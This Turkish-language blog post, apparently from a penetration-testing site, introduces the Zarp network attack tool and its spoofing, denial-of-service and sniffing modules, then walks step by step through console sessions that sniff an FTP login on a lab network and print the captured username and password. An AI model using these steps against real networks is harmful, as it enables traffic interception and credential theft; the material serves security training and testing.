2 Ağustos 2013

Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin İstismarı

Posted by: Fırat Celal Erdik 2 Ağustos 2013

Zarp uygulaması python dili ile geliştirilmiş, açık kaynak kodlu, uzaktan servis dışı bırakma(denial of service) saldırıları gerçekleştirmede ve yerel ağlarda çeşitli saldırıların gerçekleştirilmesinde kullanılabilecek bir network saldırı aracıdır.

Zarp sistem açıklıklarının istismarından ziyade network protokollerinin zaafiyetlerini istismar ederek saldırılarını gerçekleştirmektedir.

Uygulama sahip olduğu aşağıdaki modüller ile çeşitli saldırılar gerçekleştirebilmektedir.
    [1] Poisoners           [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers              [7] Attacks 
    [4] Scanners            [8] Sessions




İlgili modüllerden Poisoners modülü ile; ARP spoofing, DNS spoofing, DHCP spoofing, NBNS poison, LLMNR spoofer ve ICMP redirection gibi saldırıları gerçekleştirilebilmektedir. Özellikle yerel ağlarda kullanılan temel protokol olan ARP protokolünün yapısal açıklıklarını istismar ederek gerçekleştirdiği ARP poisoning ile yerel ağda istenilen kullanıcılara ait trafiği yakalayabilir. Bu şekilde zarp ile üzerimizden geçirdiğimiz local trafiğe hakim olduğumuz için çeşitli hassas dosyaları ele geçirilebilmiş duruma gelmiş oluruz. DNS spoofing saldırısı için öncelikle ARP spoofing yapılmış olması gerekmektedir. DHCP spoofing işlemi ile yerel ağdaki DHCP OFFER ve DHCP ACK mesajlarını dinleyen sahte bir DHCP server oluşturulur. İlgili mesajları dinleyerek DHCP'den IP isteyen kullanıcılara bu IP adresleri sahte DHCP sunucu üzerinden kiralanır.

DOS Attacks modülü ile çeşitli servis dışı bırakma saldırıları(TCP SYN, Land DOS,  IPv6 Neighbor Discovery Protocol RA DoS, Nestea DOS, SMB DOS v.s) gerçekleştirilebilir.

Sniffers modülü ile, poisoning işlemi sonrasında hassas verilerin ele geçirilmesinde kullanılacak çeşitli methodlar bulunmaktadır. HTTP, Parola, Veritabanı sniffing gibi modülleri ile çeşitli hassas bilgiler ele geçirilebilir. Packet modifier modülü ile yakalanan paketler istenildiği gibi değiştirilebilir.

Scanners modülü ile çeşitli yerel ağ taramaları gerçekleştirilebilmektedir. Örneğin verilen bir subnette açık port ve servis taraması yaptırılabilmektedir.

İlgili aracın kurulumu için git komutu ile uygulamaya ait dosyalar sistemimize kopyalanır;

root@pentest:~/celal# git clone git://github.com/hatRiot/zarp.git zarp/
Cloning into 'zarp'...
remote: Counting objects: 1699, done.
remote: Compressing objects: 100% (869/869), done.
remote: Total 1699 (delta 814), reused 1692 (delta 807)
Receiving objects: 100% (1699/1699), 748.44 KiB | 388 KiB/s, done.
Resolving deltas: 100% (814/814), done.
root@pentest:~/celal# ls

Ardından dosyaların kopyalandığı zarp dizininde uygulamanın güncellemesi için aşağıdaki komut kullanılabilir;

root@pentest:~/celal/zarp# ./zarp.py --update
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _\ (  _ \(  _ '
     / _/ /    \ )   / ) __/
    (____)\_/\_/(__\_)(__)
        [Version 0.1.3]           
[!] Updating Zarp...
[!] Zarp already up to date.

Örnek olarak Sniffers alt modüllerinden Password Sniffer modülünü kullanarak yerel ağda yapılan bir FTP bağlantısının parolasını elde etmeyi gösterelim. Bunun için aşağıdaki yol takip edilebilir.

Uygulama aşağıdaki komutla başlatırlır. Ekrana kullanılabilecek tüm modüllere ait kategori listesi gelecektir.

root@pentest:~/celal/zarp# ./zarp.py
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _\ (  _ \(  _ '
     / _/ /    \ )   / ) __/
    (____)\_/\_/(__\_)(__)
        [Version 0.1.3]           
    [1] Poisoners        [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers         [7] Attacks 
    [4] Scanners         [8] Sessions

0) Back

Yukarıdaki ekrandan 3 numaralı Sniffers kategorisine giriyoruz.;

> 3
    [1] HTTP Sniffer
    [2] Password Sniffer
    [3] Traffic Sniffer
    [4] Database Sniffer
    [5] Packet Modifier

0) Back

Ardından sniff edilecek interface seçilir, ön tanımlı olarak listedeki ilk interface seçilmiş olur. Bu interface dinlenecek ise enter ile geçilebilir ardıdan doğruluğunu onaylamak için y ile bir sonraki adıma geçilebilir. Ardından aşağıdaki ekrandan 0 ile ana ekrana geçilir.

> 2
[!] Enter address to listen on [5.5.5.4]:
[!] Sniff passwords from 5.5.5.4.  Is this correct? y
    [1] HTTP Sniffer
    [2] Password Sniffer
    [3] Traffic Sniffer
    [4] Database Sniffer
    [5] Packet Modifier

0) Back
> 0
     ____   __   ____  ____
    (__  ) / _\ (  _ \(  _ '
     / _/ /    \ )   / ) __/
    (____)\_/\_/(__\_)(__)
        [Version 0.1.3]           
    [1] Poisoners        [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers         [7] Attacks 
    [4] Scanners         [8] Sessions

0) Back

Buradan 8 ile mevcut başlattığımız saldırılara ait sessionları görüntülemek için 8 ile çalışan sessionlar listelenebilir.

> 8

    [Running sessions]
[1] Password Sniffer
    [0] 5.5.5.4


    [1] Stop session
    [2] View session
    [3] Start session logger
    [4] Stop session logger

0) Back
Görüldüğü gibi Passwords snifferin ilgili interface üzerinde çalışmaktadır. 2 ile mevcut oturumu görüntüleyebiliriz. Bu arada komut satırından aşağıdaki gibi hedef bir sisteme FTP bağlantısı kurmaya çalışalım.

root@pentest:~# ftp 20.20.20.130
Connected to 20.20.20.130.
220 MikroTik FTP server (MikroTik 3.30) ready
Name (20.20.20.130): ftpadmin
331 Password required for ftpadmin
Password:
530 Login incorrect
Login failed.
Remote system type is UNIX.
ftp> 

Aşağıda görüldüğü üzere password sniffer modülü ile ilgili kullanıcı hesabını ele geçirebilmiş oluyoruz.

> 2
[module] [number]> 1 0
[!] [enter] when finished
[!] Dumping output from 'Password Sniffer'...
[!] Host: 20.20.20.130
[!] User: ftpadmin
[!] Password: P@ssw0rd



Benzer yol kullanılarak diğer modüllerde kullanılabilir. Detaylı bilgi için uygulamanın yardım sayfası incelenebilir.

Celal ERDİK <celal.erdik@bga.com.tr>

0 yorum:

Yorum Gönder

Her türlü eleştiri,yorum,ekleme ve düzeltmeye yönelik fikirlerinizi paylaşabilirsiniz.Hakaret içeren yorumlar filtrelenmektedir.

Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.